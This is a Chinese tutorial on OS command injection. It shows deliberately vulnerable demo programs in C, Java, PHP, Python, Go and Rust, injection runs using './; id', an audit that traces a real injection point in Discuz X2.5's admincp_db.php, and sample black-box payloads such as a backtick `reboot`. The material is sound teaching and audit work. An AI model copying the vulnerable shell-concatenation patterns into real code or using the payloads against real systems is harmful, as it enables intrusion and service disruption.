命令注入漏洞介绍
漏洞简介
本篇文章以Linux环境为背景,暂不讨论Windows环境的情况。
命令注入(操作系统命令注入)是一种注入类型漏洞,是指用户输入的数据(命令)被程序拼接并传递给执行操作系统命令的函数执行。编程语言如C/C++,Java, PHP, Python, Go, Rust等,都支持执行系统命令,所以都有可能存在命令注入漏洞。注入的命令以应用程序的当前权限被执行,如果应用程序是使用root权限执行,那么注入的命令也是以root执行。
我们平时讲的RCE漏洞,R是指Remote,C可以指代Code也可以指代Command,E是指Execution,所以远程命令执行(Remote Command Execution)也是RCE的一种。
命令注入不同于代码注入,代码注入是注入代码并执行代码,常见于解释型语言如java,python,php等,命令注入是注入操作系统命令并执行命令。
漏洞成因
开发人员在编写代码时,有时候需要执行系统命令,或者是执行某个二进制程序/脚本,来实现预期的目标。比如配置一个ip,使能某个功能等。
我们可以把代码分为三类
- I) 不需要执行系统命令,代码不会调用命令执行相关函数
- II) 需要执行系统命令,执行的命令是固定的,和用户输入无关
- III) 需要执行系统命令,执行的命令和用户输入有关
很明显,I和II类是不会造成命令注入的,只有第III类可能存在命令注入,无论做测试还是代码审计,都把重点放在第III类的情况下。
下面我们来看看各种语言里,都有哪些函数支持执行系统命令,我选了几个主流的语言进行分析,分别是C/C++,Java, PHP, Python, Go以及Rust。
C/C++
C/C++ 在Linux环境,有三种常用的方式执行系统命令,分别是system,popen和exec家族函数。[1]
下面分别是这三个函数的man页面
SYNOPSIS
#include <stdlib.h>
int system(const char *command);
SYNOPSIS
#include <stdio.h>
FILE *popen(const char *command, const char *type);
int pclose(FILE *stream);
SYNOPSIS
#include <sys/types.h>
#include <unistd.h>
pid_t fork(void);
SYNOPSIS
#include <unistd.h>
extern char **environ;
int execl(const char *pathname, const char *arg, ...
/* (char *) NULL */);
int execlp(const char *file, const char *arg, ...
/* (char *) NULL */);
int execle(const char *pathname, const char *arg, ...
/*, (char *) NULL, char *const envp[] */);
int execv(const char *pathname, char *const argv[]);
int execve(const char *pathname, char *const argv[],
char *const envp[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[],
char *const envp[]);
system和popen都很简单,针对exec家族函数,这个家族函数还蛮多的,很不好记住,我在stackoverflow查到一段针对exec家族函数的解释[2]
L vs V: whether you want to pass the parameters to the exec'ed program as
L: individual parameters in the call (variable argument list): execl(), execle(), execlp(), and execlpe()
V: as an array of char* execv(), execve(), execvp(), and execvpe()
The array format is useful when the number of parameters that are to be sent to the exec'ed process are variable -- as in not known in advance, so you can't put in a fixed number of parameters in a function call.
E: The versions with an 'e' at the end let you additionally pass an array of char* that are a set of strings added to the spawned processes environment before the exec'ed program launches. Yet another way of passing parameters, really.
P: The versions with 'p' in there use the environment variable PATH to search for the executable file named to execute. The versions without the 'p' require an absolute or relative file path to be prepended to the filename of the executable if it is not in the current working directory.
简单来讲,exec家族可以分为两个阵营,execl和execv,后缀l代表参数是挨个传送,后缀v代表参数是通过字符串数组传送。
而execl和execv各自又可以分为两个阵营,execl可以分为execle和execlp,execv可以分为execve,execvp以及execvpe。
后缀p代表是否支持PATH环境变量搜索程序,后缀e代表是否输入环境变量,当然pe和可以一起用的,典型的例子就是execvpe函数。
下面,我写了一个带有命令注入的C语言的例子,用于说明一般场景下命令注入漏洞是什么样的。
C演示代码cmdi.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
if (argc < 2) {
printf("usage: %s param1 [param2 ...[param n]]\n", argv[0]);
return -1;
}
char cmdbuf[128] = {0};
snprintf(cmdbuf, sizeof(cmdbuf), "ls %s", argv[1]);
puts("call system function:");
system(cmdbuf);
puts("\ncall popen function:");
FILE *fp = popen(cmdbuf, "r");
char readbuf[2048] = {0};
fread(readbuf, 1, 2048, fp);
puts(readbuf);
pclose(fp);
int pid = fork();
if (pid > 0) {
sleep(1);
} else if (pid == 0) {
puts("call execve function:");
execl("/bin/sh", "sh", "-c", cmdbuf, NULL);
}
return 0;
}
验证C命令注入
首先编译cmdi.c,然后命令行执行./cmdi ‘./; id’, 注意一点,参数是需要加单引号,或者双引号的,否则注入的命令 ;id 会被当前的shell解析,而不是传给cmd当作参数。
root@kali:~/Desktop/cmdi# gcc cmdi.c -o cmdi
root@kali:~/Desktop/cmdi# ./cmdi './; id'
call system function:
cmdi cmdi.c cmdi.class cmdi.java cmdi.py
uid=0(root) gid=0(root) groups=0(root)
call popen function:
cmdi
cmdi.c
cmdi.class
cmdi.java
cmdi.py
uid=0(root) gid=0(root) groups=0(root)
call execve function:
cmdi cmdi.c cmdi.class cmdi.java cmdi.py
uid=0(root) gid=0(root) groups=0(root)
需要注意的是,exec家族函数,一般情况下是不太会有命令注入漏洞的,除非执行的程序本身存在漏洞,但是有个特殊情况是执行的程序是解释器,比如sh,python,perl等,是可以通过参数注入达到命令注入的效果。
上述例子中,最后一段代码就是一个典型的例子,如果代码是这么写的话,还是会存在命令注入的。
execl("/bin/sh", "sh", "-c", cmdbuf, NULL);
或者
execve("/bin/sh", argv, NULL);
反之,如果是下面这么调用,除非ls程序本身存在漏洞,否则通过参数注入命令,是不会被解析执行的。
execve("/bin/ls", argv, NULL);
Java
Java执行系统命令有两个方式,ProcessBuilder和Runtime exec。
这两种执行命令方式基本使用情况如下
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
Runtime.getRuntime().exec(cmdList);
下面来看看存在命令注入的Java演示代码。
Java演示代码cmdi.java
import java.io.*;
public class cmdi {
public static void main(String[] args) {
if (args.length < 1) {
System.out.println("usage: java cmdi param");
return;
}
String[] cmdList = new String[]{"sh", "-c", "ls -al " + args[0]};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process;
try {
process = builder.start();
} catch (IOException e){
return;
}
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
try {
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
} catch (Exception e) {
return;
}
try {
process = Runtime.getRuntime().exec(cmdList);
} catch (Exception e) {
return;
}
reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
try {
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
} catch (Exception e) {
return;
}
}
}
通过javac把java编译为字节码class文件,通过java运行class文件,在参数中构造命令注入,发现注入的命令被执行了。
和C语言的例子类似,传递给java程序的参数在shell命令行中也需要单双引号,这里用了双引号,C语言的例子中用了单引号,都是可行的。
如果不加双引号,在shell中执行java cmdi ./; id, 会被shell以为是先执行java cmdi ./命令, 接下来再执行id命令,这样就失去了验证命令注入的本意。
验证Java命令注入
root@kali:~/Desktop/cmdi# javac cmdi.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
root@kali:~/Desktop/cmdi#
root@kali:~/Desktop/cmdi# java cmdi "./; id"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
total 44
drwxr-xr-x 2 root root 4096 Apr 23 23:15 .
drwxr-xr-x 5 root root 4096 Apr 11 00:51 ..
-rwxr-xr-x 1 root root 17040 Apr 23 23:02 cmdi
-rw-r--r-- 1 root root 754 Apr 23 23:02 cmdi.c
-rw-r--r-- 1 root root 1921 Apr 23 23:38 cmdi.class
-rw-r--r-- 1 root root 1070 Apr 23 23:38 cmdi.java
-rw-r--r-- 1 root root 302 Apr 11 05:14 cmdi.py
uid=0(root) gid=0(root) groups=0(root)
total 44
drwxr-xr-x 2 root root 4096 Apr 23 23:15 .
drwxr-xr-x 5 root root 4096 Apr 11 00:51 ..
-rwxr-xr-x 1 root root 17040 Apr 23 23:02 cmdi
-rw-r--r-- 1 root root 754 Apr 23 23:02 cmdi.c
-rw-r--r-- 1 root root 1921 Apr 23 23:38 cmdi.class
-rw-r--r-- 1 root root 1070 Apr 23 23:38 cmdi.java
-rw-r--r-- 1 root root 302 Apr 11 05:14 cmdi.py
uid=0(root) gid=0(root) groups=0(root)
看上面有漏洞的例子,ProcessBuilder的参数中String[] cmdList = new String[]{“sh”, “-c”, “ls -al “ + args[0]};
只有注入的字符串是拼接在一起,并作为第三个参数才能注入成功,如果是第四个或其他参数,即使有用户输入,也不会被当作命令执行。
更多关于Java的命令注入可查看参考材料[6]
PHP
PHP执行系统命令的函数有system, exec, passthru, proc_open, shell_exec, popen, pcntl_exec, 反引号 ``。 这些函数的定义如下[7],[8]
string system ( string $command [, int &$return_var ] )
string exec ( string $command [, array &$output [, int &$return_var ]] )
void passthru (string command, int &return_var)
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
string shell_exec (string command)
resource popen ( string $command , string $mode )
void pcntl_exec ( string $path [, array $args [, array $envs ]] )
PHP supports one execution operator: backticks (``).PHP will attempt to execute the contents of the backticks as a shell command; the output will be returned.
PHP演示代码cmdi.php
<?php
$line = fread(STDIN, 1024);
$cmd = "ls -a ".$line;
echo "Call system \n";
system($cmd);
echo "\n\nCall exec\n";
exec($cmd, $ret);
print_r($ret);
echo "\n\nCall passthru\n";
passthru($cmd);
echo "\n\nCall proc_open\n";
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);
$process = proc_open($cmd, $descriptorspec, $pipes);
if (is_resource($process)) {
echo stream_get_contents($pipes[1]);
}
echo "\n\nCall shell_exec\n";
$ret = shell_exec($cmd);
echo $ret;
echo "\n\nCall popen\n";
$ret = popen($cmd, "r");
$msg = fread($ret, 2048);
echo $msg;
$msg = fread($ret, 2048);
echo $msg;
echo "\n\nCall ` `\n";
$ret = `$cmd`;
echo $ret;
echo "\n\nCall pcntl_exec\n";
$args = array("-c", $cmd);
pcntl_exec("/bin/sh", $args);
验证PHP命令注入
root@kali:~/Desktop/cmdi# php cmdi.php
./;id
Call system
.
..
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
uid=0(root) gid=0(root) groups=0(root)
Call exec
Array
(
[0] => .
[1] => ..
[2] => cmdi_C
[3] => cmdi_C.c
[4] => cmdi.class
[5] => cmdi.java
[6] => cmdi.php
[7] => uid=0(root) gid=0(root) groups=0(root)
)
Call passthru
.
..
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
uid=0(root) gid=0(root) groups=0(root)
Call proc_open
.
..
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
uid=0(root) gid=0(root) groups=0(root)
Call shell_exec
.
..
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
uid=0(root) gid=0(root) groups=0(root)
Call popen
.
..
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
uid=0(root) gid=0(root) groups=0(root)
Call ` `
.
..
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
uid=0(root) gid=0(root) groups=0(root)
Call pcntl_exec
. .. cmdi_C cmdi_C.c cmdi.class cmdi.java cmdi.php
uid=0(root) gid=0(root) groups=0(root)
有一点要注意,在调用popen的时候,因为有命令注入,所有要多次调用fread把管道的数据读出来,不然会报错,这导致不会那么巧合刚好带漏洞的代码也多次读取。所以个人感觉popen出现命令注入的可能性比其他函数稍微小一些。
Python
python语言支持执行系统命令的模块有好多个,比较常用的有os,commands,subprocess,另外还有很多如pty,shlex,sh,plumbum,pexpect,fabric,envoy等等,太多支持命令执行的模块会导致一个潜在的问题,那就是做静态代码分析,是否能监控到使用了不再上述范围的模块,该模块又能够执行系统命令。
能够执行系统命令的模块链接信息如下[5]
os: https://docs.python.org/3.5/library/os.html
commands: https://docs.python.org/2/library/commands.html
subprocess: https://docs.python.org/3.5/library/subprocess.html
shlex: https://docs.python.org/3/library/shlex.html
sh: https://amoffat.github.io/sh/
plumbum: https://plumbum.readthedocs.io/en/latest/
pexpect: https://pexpect.readthedocs.io/en/stable/
fabric: http://www.fabfile.org/
envoy: https://github.com/kennethreitz/envoy
常见的能够执行系统命令的函数如下[4]
os.system()
os.popen()
os.posix_spawn*()
os.spawn*()
subprocess.run()
subprocess.Popen()
subprocess.call()
subprocess.check_call()
subprocess.check_output()
subprocess.getstatusoutput()
subprocess.getoutput()
commands.getoutput()
commands.getstatusoutput()
pty.spawn()
...
注意,commands模块在python3中已经被弃用。
能够执行系统命令的函数定义[9]
os.system(command)
os.popen(cmd, mode='r', buffering=-1)
subprocess.run(args, *, stdin=None, input=None, stdout=None, stderr=None, capture_output=False, shell=False, cwd=None, timeout=None, check=False, encoding=None, errors=None, text=None, env=None, universal_newlines=None, **other_popen_kwargs)
class subprocess.Popen(args, bufsize=-1, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=True, shell=False, cwd=None, env=None, universal_newlines=None, startupinfo=None, creationflags=0, restore_signals=True, start_new_session=False, pass_fds=(), *, group=None, extra_groups=None, user=None, umask=-1, encoding=None, errors=None, text=None)
subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False, cwd=None, timeout=None, **other_popen_kwargs)
subprocess.check_call(args, *, stdin=None, stdout=None, stderr=None, shell=False, cwd=None, timeout=None, **other_popen_kwargs)
subprocess.check_output(args, *, stdin=None, stderr=None, shell=False, cwd=None, encoding=None, errors=None, universal_newlines=None, timeout=None, text=None, **other_popen_kwargs)
subprocess.getstatusoutput(cmd)
subprocess.getoutput(cmd)
pty.spawn(argv[, master_read[, stdin_read]])
...
Python演示代码cmdi.py
import os
import subprocess
import pty
import sys
if len(sys.argv) < 2:
print("usage: python3 cmdi.py param1 [...]")
exit(1)
cmd = "ls -a " + sys.argv[1]
print("Call os.system:")
os.system(cmd)
print("\nCall os.popen:")
ret = os.popen(cmd)
print(ret.read())
print("\nCall subprocess.Popen:")
p = subprocess.Popen(["/bin/sh", "-c", cmd], stdout=subprocess.PIPE)
output, _ = p.communicate()
print(output.decode())
print("\nCall subprocess.call:")
subprocess.call([cmd], shell=True)
print("\nCall pty.spawn:")
pty.spawn(["/bin/sh", "-c", cmd])
验证Python命令注入
root@kali:~/Desktop/cmdi# python3 cmdi.py "./;id"
Call os.system:
. .. a.out cmdi_C cmdi_C.c cmdi.class cmdi.java cmdi.php cmdi.py
uid=0(root) gid=0(root) groups=0(root)
Call os.popen:
.
..
a.out
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
cmdi.py
uid=0(root) gid=0(root) groups=0(root)
Call subprocess.Popen:
.
..
a.out
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
cmdi.py
uid=0(root) gid=0(root) groups=0(root)
Call subprocess.call:
. .. a.out cmdi_C cmdi_C.c cmdi.class cmdi.java cmdi.php cmdi.py
uid=0(root) gid=0(root) groups=0(root)
Call pty.spawn:
. .. a.out cmdi_C cmdi_C.c cmdi.class cmdi.java cmdi.php cmdi.py
uid=0(root) gid=0(root) groups=0(root)
Python要特别关注的问题还是上面提到的,有太多模块支持命令执行。该如何做到全面监控,防止意外命令注入漏洞存在,是个需要认真思考的问题。
Python命令注入的补充说明
执行命令的函数,无论是system系还是exec系,如果是调用解释器,那么要注意,比如sh -c ls -al ./这样的形式,解释器只会执行ls命令,而不会带后面的参数。见下面code1,exe1。
除非命令是用引号包含如sh -c “ls -al ./”, 或者sh -c ‘ls -al ./’,才会执行完整的命令。这是sh -c命令的特点。见下面code2,exe2。
另外,有些函数调用形式上有点类似system系函数,但实际是内部是对exec系函数的封装。
code1
import subprocess
import sys
if len(sys.argv) < 2:
exit(1)
cmd = sys.argv[1]
p = subprocess.Popen(["sh -c ls -al " + cmd], stdout=subprocess.PIPE, shell=True)
output, _ = p.communicate()
print(output.decode())
exe1
root@kali:~/Desktop/cmdi# python3 cmdi.py '`whoami`'
cmdi
cmdi.c
cmdi.class
cmdi.java
cmdi.py
code2
import subprocess
import sys
if len(sys.argv) < 2:
exit(1)
cmd = sys.argv[1]
p = subprocess.Popen(["sh -c \"ls -al " + cmd + "\""], stdout=subprocess.PIPE, shell=True)
output, _ = p.communicate()
print(output.decode())
exe2
root@kali:~/Desktop/cmdi# python3 cmdi.py '`whoami`'
ls: cannot access 'root': No such file or directory
Python的shell=True
在Python中,有些命令执行函数有一个参数是shell,这个参数可以配置True和False。比如subprocess.Popen, subprocess.call等函数。
这里shell参数False和True的区别在于,shell=True参数表示Popen会在shell中去执行list中的第一个元素,当shell=False时,subprocess.call只接受数组变量作为命令,并将list的第一个元素作为可执行程序,剩下的全部作为该程序的参数。
上面的两个例子code1,code2中,当shell=False是无法被执行的,当shell=False时,subprocess.Popen会把列表的第一个元素当成可执行程序,也就是把”sh -c ls -al …“这一串字符串当作一个程序,系统当然是找不到这个程序的,所以无法找执行成功。
而当shell=True时,Popen会把[“sh -c ls -al “ + cmd]这个list的第一个元素放到shell中执行,所以最终得到的结果把执行sh进程,参数分别是 -c ls -al cmd,回到上文提到的,这里执行的结果是仅执行ls,后面的参数无效。如果要让后面的参数有效,应该在-c之后,用单引号或者双引号把参数引起来。
在shell=True时,subprocess.Popen就是system系函数,如下代码所示:
import subprocess
import sys
if len(sys.argv) < 2:
exit(1)
cmd = sys.argv[1]
p = subprocess.Popen(["ls -al " + cmd], stdout=subprocess.PIPE, shell=True)
output, _ = p.communicate()
print(output.decode())
执行结果
root@kali:~/Desktop/cmdi# python3 cmdi.py "; id"
total 44
drwxr-xr-x 2 root root 4096 Apr 24 00:41 .
drwxr-xr-x 5 root root 4096 Apr 11 00:51 ..
-rwxr-xr-x 1 root root 17040 Apr 23 23:02 cmdi
-rw-r--r-- 1 root root 754 Apr 23 23:02 cmdi.c
-rw-r--r-- 1 root root 1921 Apr 23 23:38 cmdi.class
-rw-r--r-- 1 root root 1253 Apr 23 23:38 cmdi.java
-rw-r--r-- 1 root root 300 Apr 24 00:41 cmdi.py
uid=0(root) gid=0(root) groups=0(root)
在shell=False时,比如subprocess.Popen([“ls”, “-al”, cmd], shell=False),结果会执行ls -al …(cmd)…, 但是这种情况,除非ls有漏洞,否则不存在注入可能性。此时subprocess.Popen就是exec系函数。如下代码所示:
import subprocess
import sys
if len(sys.argv) < 2:
exit(1)
cmd = sys.argv[1]
p = subprocess.Popen(["ls", "-al", cmd], stdout=subprocess.PIPE, shell=False)
output, _ = p.communicate()
print(output.decode())
执行结果
root@kali:~/Desktop/cmdi# python3 cmdi.py "; id"
ls: cannot access '; id': No such file or directory
又回到我重复提到的情况,如果exec函数执行解释器,还是可能存在命令注入的。如下代码所示:
root@kali:~/Desktop/cmdi# cat cmdi.py
import subprocess
import sys
if len(sys.argv) < 2:
exit(1)
cmd = sys.argv[1]
p = subprocess.Popen(["sh", "-c", "ls -al " + cmd], stdout=subprocess.PIPE, shell=False)
output, _ = p.communicate()
print(output.decode())
执行结果
root@kali:~/Desktop/cmdi# python3 cmdi.py "; id"
total 44
drwxr-xr-x 2 root root 4096 Apr 24 00:47 .
drwxr-xr-x 5 root root 4096 Apr 11 00:51 ..
-rwxr-xr-x 1 root root 17040 Apr 23 23:02 cmdi
-rw-r--r-- 1 root root 754 Apr 23 23:02 cmdi.c
-rw-r--r-- 1 root root 1921 Apr 23 23:38 cmdi.class
-rw-r--r-- 1 root root 1253 Apr 23 23:38 cmdi.java
-rw-r--r-- 1 root root 223 Apr 24 00:47 cmdi.py
uid=0(root) gid=0(root) groups=0(root)
Go
Go语言目前我查到的大多都只说exec.Command这种方式执行命令。Go还有一种方式执行命令syscall.Exec,下面例子将介绍这两种方式。[10]
Go演示代码cmdi_GO.go
package main
import (
"fmt"
"bytes"
"os"
"os/exec"
"syscall"
)
func main() {
if len(os.Args) < 2 {
fmt.Printf("usage: cmdi_GO param1")
os.Exit(1)
}
command := exec.Command("sh", "-c", "ls -al " + os.Args[1])
out := bytes.Buffer{}
command.Stdout = &out
command.Run()
fmt.Println(out.String())
args := []string{"sh", "-c", "ls -a " + os.Args[1]}
syscall.Exec("/bin/sh", args, os.Environ())
}
验证Go命令注入
root@kali:~/Desktop/cmdi# go build -o cmdi_GO cmdi_GO.go
root@kali:~/Desktop/cmdi# ./cmdi_GO "./;id"
total 2368
drwxr-xr-x 2 root root 4096 Apr 9 03:00 .
drwxr-xr-x 6 root root 4096 Apr 7 23:14 ..
-rw-r--r-- 1 root root 0 Apr 8 22:16 a.out
-rwxr-xr-x 1 root root 17048 Apr 8 02:01 cmdi_C
-rw-r--r-- 1 root root 673 Apr 8 00:41 cmdi_C.c
-rwxrwxrwx 1 root root 1961 Apr 8 07:53 cmdi.class
-rwxr-xr-x 1 root root 2369716 Apr 9 03:00 cmdi_GO
-rw-r--r-- 1 root root 463 Apr 9 03:00 cmdi_GO.go
-rwxrwxrwx 1 root root 1134 Apr 8 07:53 cmdi.java
-rw-r--r-- 1 root root 980 Apr 8 09:39 cmdi.php
-rwxrwxrwx 1 root root 584 Apr 8 23:09 cmdi.py
uid=0(root) gid=0(root) groups=0(root)
. .. a.out cmdi_C cmdi_C.c cmdi.class cmdi_GO cmdi_GO.go cmdi.java cmdi.php cmdi.py
uid=0(root) gid=0(root) groups=0(root)
RUST
RUST算是比较小众的语言了,笔者之所以把RUST加进来是考虑到RUST的发展趋势以及内存安全的特性,未来可能成为底层主流语言。
RUST语言,查到的信息是std::process模块Command类支持执行系统命令,下面是针对这个方法的演示。[11],[12]
Rust演示代码cmdi_RS.rs
use std::process::Command;
use std::env;
fn main() {
let args: Vec<String> = env::args().collect();
let mut cmd = "ls -a ".to_string();
cmd += &args[1];
let process = Command::new("sh")
.arg("-c")
.arg(&cmd)
.output()
.expect("failed to execute process");
let s = match std::str::from_utf8(&process.stdout) {
Ok(v) => v,
Err(e) => panic!("Invalid UTF-8 sequence: {}", e),
};
println!("{}", s);
}
验证Rust命令注入
root@kali:~/Desktop/cmdi# rustc cmdi_RS.rs -o cmdi_RS
root@kali:~/Desktop/cmdi# ./cmdi_RS './; id'
.
..
cmdi
cmdi.c
cmdi.class
cmdi.java
cmdi.py
cmdi_RS
cmdi_RS.rs
uid=0(root) gid=0(root) groups=0(root)
漏洞代码总结
我们可以把命令执行的函数分为两个系列,分别是system系,和exec系。而每个系列又可以分为执行解释器和执行非解释器。解释器(如bash, python, perl等)后可以执行命令。
这样就有四种可能性
- 通过system系函数执行解释器
- 通过system系函数执行非解释器
- 通过exec系函数执行解释器
- 通过exec系函数执行非解释器
system系函数
system系函数比如C语言的system函数,Python语言的os.system函数等,这些函数接收一个完整的命令字符串。在Python中shell=True的情况和直接调用os.system函数是类似的。这种情况下,无论是否执行解释器,如果没有做适当的过滤,命令拼接并执行过程,都有可能存在命令注入。
exec系函数
通过exec系函数执行解释器 –> 存在命令注入可能性较大
通过exec系函数执行非解释器 –> 存在命令注入可能性较小
命令注入测试
我们要知道,命令注入并不是Web特有,所有能执行系统系统命令的程序都可能有命令注入漏洞。
理论上讲,通过白盒代码审计是最简单的排查命令注入的方式。
在接触不到源码的情况下,还可以通过黑盒遍历payload的方式检测命令注入,黑盒的模式下,所有用户可控的点都需要进行遍历测试。
基于静态代码分析的白盒检测
我选择一个PHP系统进行命令注入白盒审计演示,为了让成果凸显一些,我刻意找到一个存在命令注入的系统Discuz_X2.5_SC来进行分析。
白盒检测的辅助工具有很多,我选择用Seay源代码审计系统来演示。Seay的理念很简单,遍历所有的源代码,找出关键的字,比如针对命令注入,找到关键函数system, exec, shell_exec等,显示出来,双击可进入文件浏览到对应代码行。本质上和grep搜索类似,只是相对来说操作更友好一些。[13]
首先,我去下载Discuz_X2.5 http://download.comsenz.com/DiscuzX/2.5/Discuz_X2.5_SC_UTF8.zip。
接着我去下载Seay源代码审计系统2.1 https://github.com/f1tz/cnseay。[14]
安装并打开seay,新建项目 –> 自动审计 –> 开始,等待几分钟使扫描进度为100%。
点击漏洞描述,让结果以漏洞描述排序,如下图所示
我们的目标是命令注入,依次查看所有漏洞描述为命令注入的行,最终找到可能存在命令注入的代码如下图所示 图1 命令注入疑似代码
图2 命令注入疑似代码
从工具审计结果来看,真正需要排除确认的点并不是很多,这也可以理解,毕竟执行命令的需求并不会特别多,如果有大量的命令执行,倒不如直接写一个shell脚本,在代码中调用脚本来得方便。
接下来逐行排查每个疑似存在命令注入的代码。
图1中所有的疑似代码都是因为代码中有反引号,逐行排查后,发现这些代码都是和数据库操作有关。在mysql语句中反引号`的作用是避免表名、字段名与mysql已存在的保留字冲突,引起不知名错误。所有可以确定图1的均为假阳性,误报。
图2只有四处可疑代码,逐行去分析, 最终发现id为116的可疑漏洞,双击审计源码,定位到admincp_db.php的196行
@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($_GET['extendins'] == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $_GET['sqlcompat'] == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);
逐个参数去分析,最终发现倒数第二个参数$tablesstr在admincp_db.php的281-284行被赋值
281 $tablesstr = '';
282 foreach($tables as $table) {
283 $tablesstr .= '"'.$table.'" ';
284 }
再去找$tables, 在admincp_db.php的134-148行被赋值
134 $time = dgmdate(TIMESTAMP);
135 if($_GET['type'] == 'discuz' || $_GET['type'] == 'discuz_uc') {
136 $tables = arraykeys2(fetchtablelist($tablepre), 'Name');
137 } elseif($_GET['type'] == 'custom') {
138 $tables = array();
139 if(empty($_GET['setup'])) {
140 $tables = C::t('common_setting')->fetch('custombackup', true);
141 } else {
142 C::t('common_setting')->update('custombackup', empty($_GET['customtables'])? '' : $_GET['customtables']);
143 $tables = & $_GET['customtables'];
144 }
145 if( !is_array($tables) || empty($tables)) {
146 cpmsg('database_export_custom_invalid', '', 'error');
147 }
148 }
上面代码逻辑是判断GET参数中type是不是’custom’,如果是,判断GET参数中setup是不是空,如果非空,则把GET参数中customtables赋值给$tables
到这里,就可以判断这里是存在注入点的。至于要如何利用,还需要分析调用栈,设法让程序执行到admincp_db.php的196行,也就是执行命令的代码,构造恶意的参数值,完成命令注入。
这种代码审计方式的特点是根据你搜索的关键字,可以遍历所有可能存在命令注入的点,挨个排查后,可以确保系统不存在命令注入。但是这样也有几个明显的缺点。
- 缺点1:如果关键字不全面,可能会漏测;
- 缺点2:根据字符串匹配,搜索结果可能非常多,对审计人员而言,工作量很大;
- 缺点3:审计人员很难快速对应业务功能和代码,发现代码漏洞后,要花很多时间去找对应的业务功能。
讲到静态代码分析,又可以扩展到DAST(Dynamic Application Security Testing),SAST(Static Application Security Testing)和IAST(Interactive Application Security Testing)这三种应用安全测试方法。简单来说,AWVS,APPScan属于DAST,Coverity,RIPS,VisualCodeGrepper,Fortify SCA等属于SAST,其他基于代理和插桩的工具如xray,AWVS集成“AcuSensor”模块,AppScan集成“Glass Box”服务模块实现IAST。本文不对三个概念进行展开分析,有兴趣读者可以查看参考材料[15]。
本节“基于静态代码分析的白盒检测”可以归类为SAST技术。关于SAST的更多内容,有兴趣的读者可以查看参考材料[16]。
基于payload的黑盒检测
理论上针对命令注入的测试,最佳的方式还是做代码审计,但是有些时候确实是无法查看到源代码,这种背景下,另一种命令注入的测试方式就是基于payload的黑盒测试。
这里要补充一句,因为是黑盒测试,那就有可能我们把payload添加的键值对的值中发给服务器,如果服务器校验不严格,可能会修改到某个配置,最终可能导致系统异常甚至拒绝服务,比如把ip修改成了192.168.1.1`reboot`, 黑盒测试是有这种风险的,所以测试之前一定要谨慎,最好在测试环境进行测试,另外测试之前最好做各种配置文件,数据库的备份操作。
我们以一个POST请求举例来说
POST /mp/getappmsgext?f=json&mock=&uin=&key=&pass_ticket=&wxtoken=777&devicetype=&clientversion=&__biz=Mz%3D%3D&appmsg_token=&x5=0&f=json HTTP/1.1
Host: mp.xxx.bb.com
Connection: close
Content-Length: 621
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: https://mp.xxx.bb.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer:
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7,zh;q=0.6
Cookie: pgv_pvi=638; RK=jea; ptcz=29f4; pgv_pvid=896; h_uid=h54; tvfe_boss_uuid=7d85; rewardsn=; wxtokenkey=777
r=0.5378963&__biz=Mz%3D%3D&appmsg_type=9&mid=22882&sn=&idx=1&scene=&title=%25E&ct=16161408&abtest_cookie=&devicetype=&version=&is_need_ticket=0&is_need_ad=0&comment_id=17871542&is_need_reward=0&both_ad=0&reward_uin_count=0&send_time=&msg_daily_idx=1&is_original=0&is_only_read=1&req_id=1010xGpJ&pass_ticket=&is_temp_url=0&item_show_type=0&tmp_version=1&more_read_type=0&appmsg_like_type=2&related_video_sn=&related_video_num=5&vid=&is_pay_subscribe=0&pay_subscribe_uin_count=0&has_red_packet_cover=0&album_id=12630&album_video_num=5&cur_album_id=undefined&is_public_related_video=undefined&encode_info_by_base64=undefined
请求样例1
对于上面的请求,我们是不是可以假设有很多地方都可能被后台代码处理,都可能存在命令注入,从上到下URI中键值对的值,到header中Cookie键值对的值,以及后面body中键值对的值。
